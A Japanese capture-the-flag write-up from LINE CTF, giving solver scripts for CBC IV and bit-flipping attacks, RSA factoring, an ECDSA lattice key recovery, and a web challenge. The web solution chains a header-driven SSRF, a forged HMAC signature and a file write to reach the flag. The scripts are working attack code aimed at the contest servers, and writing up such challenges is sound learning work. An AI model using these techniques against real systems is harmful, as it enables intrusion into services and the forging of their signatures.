3/20 9:00 - 3/21 9:00 (JST) に開催された LINE CTF にソロで参加しました。結果は 31st/680 でした。 初開催ということもあってかいろいろトラブルがありましたが、個人的には楽しめました (解けたとは言ってない)。特に web 問のコードリーディングは勉強になった感じがあります (解けたとは言ってない)。 解いた問題についてまとめていきます。
それにしても最近 crypto が解けるようになったのはいいけどみんなも解けてしまうのでスコアがあまり伸びなくてつらい… web 問とか解けるようになりたいけど、どう精進するのがいいのだろうか。チームとかに入って情報交換とかしたほうが捗るのかな🤔
Crypto
babycrypto1
AES CBC モードの問題。
ランダム文字列160bytes (=16 blocks) の TOKEN
が生成され、 TOKEN
+ test
(+ padding の \x0c * 0x0c
) という文字列を暗号化したものが与えられます。復号して TOKEN
+ show
となる暗号を送ればフラグが手に入ります。
一度だけ任意の IV と message を暗号化することが許されます。
CBC モードの構造上、 IV を暗号化された TOKEN の最後のブロックにすることで、 TOKEN
+ show
を暗号化したものの最後のブロックを得ることができます。
from base64 import b64encode, b64decode
from pwn import *
r = remote("35.200.115.41", 16001)
r.recvuntil("test Command: ")
enc_test = b64decode(r.recvline().strip())
iv = enc_test[-32:-16]
msg = b"show"
r.sendlineafter("IV...: ", b64encode(iv))
r.sendlineafter("Message...: ", b64encode(msg))
r.recvuntil("Ciphertext:")
enc_msg = b64decode(r.recvline().strip())
r.sendlineafter("Enter your command: ", b64encode(enc_test[:-16] + enc_msg[16:]))
r.interactive()
LINECTF{warming_up_crypto_YEAH}
babycrypto2
AES CBC モードの問題 その2。
Command: test
+ TOKEN
の文字列を暗号化したものが与えられます。復号して Command: show
+ TOKEN
となる暗号を送ればフラグが手に入ります。
CBC モードを復号するとき、復号された最初のブロックは後続のブロックに影響を与えないため、 IV をコントロールすることで最初のブロックを任意の文字列に変更することができます。
from base64 import b64encode, b64decode
from pwn import *
r = remote("35.200.39.68", 16002)
r.recvuntil("test Command: ")
enc_test = b64decode(r.recvline().strip())
def xor(a, b):
return bytes([_a ^ _b for _a, _b in zip(a, b)])
payload = enc_test[:9] + xor(xor(b"test", b"show"), enc_test[9: 13]) + enc_test[13:]
print(payload)
payload = b64encode(payload)
r.sendlineafter("Enter your command: ", payload)
r.interactive()
LINECTF{echidna_kawaii_and_crypto_is_difficult}
babycrypto3
RSA の問題。文字数のめっちゃ少ない pem と暗号文が与えられます。 情報がこれだけなので、 pem にある を素因数分解することでしか解けなそうです。 RsaCtfTool に投げて雑に解きました。
python RsaCtfTool.py -n 31864103015143373750025799158312253992115354944560440908105912458749205531455987590931871433911971516176954193675507337 -e 65537 --private
これで得られた private key の pem を priv.pem
という名前で保存し、以下のスクリプトで復号させました。
from base64 import b64decode
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, long_to_bytes
with open("./priv.pem", "r") as f:
key = f.read()
rsa = RSA.import_key(key)
e = rsa.e
n = rsa.n
d = rsa.d
with open("./ciphertext.txt", "rb") as f:
buf = f.read()
enc = bytes_to_long(buf)
print(long_to_bytes(pow(enc, d, n))) # padding + b"Q0xPU0lORyBUSEUgRElTVEFOQ0UuCg==" という文字列になっている
print(b64decode(b"Q0xPU0lORyBUSEUgRElTVEFOQ0UuCg=="))
LINECTF{CLOSING THE DISTANCE.}
babycrypto4
ECDSA 署名の問題。 , hash, の上位 bit のペアがいくつか渡されている中で を求めます。
昔似たような問題を解いたことがあり、そのときに見つけた https://eprint.iacr.org/2019/023.pdf を参考にして解きました。
ただ、論文中にあげられている格子基底行列のうち、 M[m+1, i]
の符号を反転させないとうまく動かなかったです。以前解いたときはそんなことなかったんだけど、なんでだろう🤔
のビット数があまりにも小さくて、上位ビットが与えられているという情報全然使わずに解けてしまったけど、どういう想定だったのだろう🤔
from binascii import unhexlify
from Crypto.Util.number import long_to_bytes, bytes_to_long
import re
with open("./output.txt") as f:
buf = f.read()
rs = []
ss = []
ks = []
hs = []
for r, s, k, h in re.findall(r"(0x[0-9a-f]*) (0x[0-9a-f]*) (0x[0-9a-f]*) (0x[0-9a-f]*)", buf):
rs.append(int(r, 16))
ss.append(int(s, 16))
ks.append(int(k, 16))
hs.append(bytes_to_long(unhexlify(h[2:])))
# https://neuromancer.sk/std/secg/secp160r1
p = 0xffffffffffffffffffffffffffffffff7fffffff
a = 0xffffffffffffffffffffffffffffffff7ffffffc
b = 0x1c97befc54bd7a8b65acf89f81d4d4adc565fa45
EC = EllipticCurve(GF(p), [a, b])
G = EC(0x4a96b5688ef573284664698968c38bb913cbfc82, 0x23a628553168947d59dcc912042351377ac5fb32)
n = 0x0100000000000000000001f4c8f927aed3ca752257
h = 0x1
m = len(rs)
M = matrix(QQ, m+2, m+2)
order = n
B = 2**150
for i in range(m):
M[i, i] = QQ(order)
M[m, i] = QQ(pow(ss[i], -1, order) * rs[i])
# TODO: ここマイナスだとうまくいかないのなんでだろう🤔
# M[m+1, i] = -QQ(pow(ss[i], -1, order) * hs[i])
M[m+1, i] = QQ(pow(ss[i], -1, order) * hs[i])
M[m, m] = QQ(B) / QQ(order)
M[m+1, m+1] = QQ(B)
C = M.LLL()
for i in range(m+2):
if abs(C[i][-1]) != B:
continue
d = ZZ(C[i][-2] * order / B)
if C[i][-1] < 0:
d = -d
for j in range(m):
kl = (int(pow(ss[j], -1, order) * rs[j] * int(d)) + int(pow(ss[j], -1, order) * hs[j])) % order
print(kl, ks[j])
print(hex(d))
LINECTF{dをhex化して文字列長が偶数になるように0をpaddingしたもの}
この問題は出題に不備が多くて時間が無駄に溶けてしまった、悲しい…
Web
diveinternal
コードを読むと、フラグが手に入るのは以下の部分。
def RunRollbackDB(dbhash):
try:
if os.environ['ENV'] == 'LOCAL':
return
if dbhash is None:
return "dbhash is None"
dbhash = ''.join(e for e in dbhash if e.isalnum())
if os.path.isfile('backup/'+dbhash):
with open('FLAG', 'r') as f:
flag = f.read()
return flag
else:
return "Where is file?"
これが呼ばれる部分は以下。
def IntegrityCheck(self,key, dbHash):
if self.integrityKey == key:
pass
else:
return json.dumps(status['key'])
if self.dbHash != dbHash:
flag = RunRollbackDB(dbHash)
logger.debug('DB File changed!!'+dbHash)
file = open(os.environ['DBFILE'],'rb').read()
self.dbHash = hashlib.md5(file).hexdigest()
self.integrityKey = hashlib.sha512((self.dbHash).encode('ascii')).hexdigest()
return flag
return "DB is safe!"
コードを注意深く読んでいくと、フラグを表示するためには、
- 内部の api にアクセスする
backup/${dbhash}
にファイルをつくるdbhash
をつくったファイル名にする
ことができればよさそうということがわかります。
まずそもそも内部の api にアクセスできないと何もできない (frontend 側では / と /coin と /addsub しかアクセスできない) のですが、これは LanguageNomarize
での処理で解決できそうです。
def LanguageNomarize(request):
if request.headers.get('Lang') is None:
return "en"
else:
regex = '^[!@#$\\/.].*/.*' # Easy~~
language = request.headers.get('Lang')
language = re.sub(r'%00|%0d|%0a|[!@#$^]|\.\./', '', language)
if re.search(regex,language):
return request.headers.get('Lang')
try:
data = requests.get(request.host_url+language, headers=request.headers)
if data.status_code == 200:
return data.text
else:
return request.headers.get('Lang')
except:
return request.headers.get('Lang')
request.host_url+language
にアクセスしてくれるため、これらのヘッダーをいじることでアクセスします。
response は Lang ヘッダーに格納されます。
backup/${dbhash}
にファイルをつくるには、 /download
にアクセスします。
def WriteFile(url):
local_filename = url.split('/')[-1]
print(local_filename)
with requests.get(url, stream=True) as r:
r.raise_for_status()
with open('backup/'+local_filename, 'wb') as f:
for chunk in r.iter_content(chunk_size=8192):
f.write(chunk)
(snipped)
@app.route('/download', methods=['GET','POST'])
def download():
try:
if request.headers.get('Sign') == None:
return json.dumps(status['sign'])
else:
if SignCheck(request):
pass
else:
return json.dumps(status['sign'])
if request.method == 'GET':
src = request.args.get('src')
if valid_download(src):
pass
else:
return json.dumps(status.get('false'))
elif request.method == 'POST':
if valid_download(request.form['src']):
pass
else:
return json.dumps(status.get('false'))
WriteFile(src)
return json.dumps(status.get('success'))
src に指定した url にアクセスしたときの response を、 url の末尾の名前で保存します。
SignCheck は手元で hmac.new(private_key.encode(), GET_QUERY_STRING, sha512).hexdigest()
を計算することが可能です。
あとは /rollback に ?dbhash=${PATH_TO_SAVE_DIR}
をつけてアクセスすれば、フラグが入手できます。
import hmac
import json
from hashlib import sha512
import requests
# HOST = "http://localhost:12004"
HOST = "http://35.190.234.195"
url = f"{HOST}/apis/coin"
private_key = "let'sbitcorinparty"
headers = {
"Lang": "integrityStatus",
"Host": "private:5000",
}
r = requests.get(url, headers=headers)
dbhash = json.loads(r.headers["lang"])["dbhash"]
def gen_sign(value: str):
return hmac.new(private_key.encode(), value.encode(), sha512).hexdigest()
payload = "src=http://private:5000/integrityStatus"
sign = gen_sign(payload)
headers = {
"Lang": f"download?{payload}",
"Host": "private:5000",
"Sign": sign,
}
r = requests.get(url, headers=headers)
payload = "dbhash=integrityStatus"
sign = gen_sign(payload)
headers = {
"Lang": f"rollback?{payload}",
"Host": "private:5000",
"Sign": sign,
"Key": sha512(dbhash.encode()).hexdigest(),
}
r = requests.get(url, headers=headers)
print(r.headers["lang"])
LINECTF{YOUNGCHAYOUNGCHABITCOINADAMYMONEYISBURNING}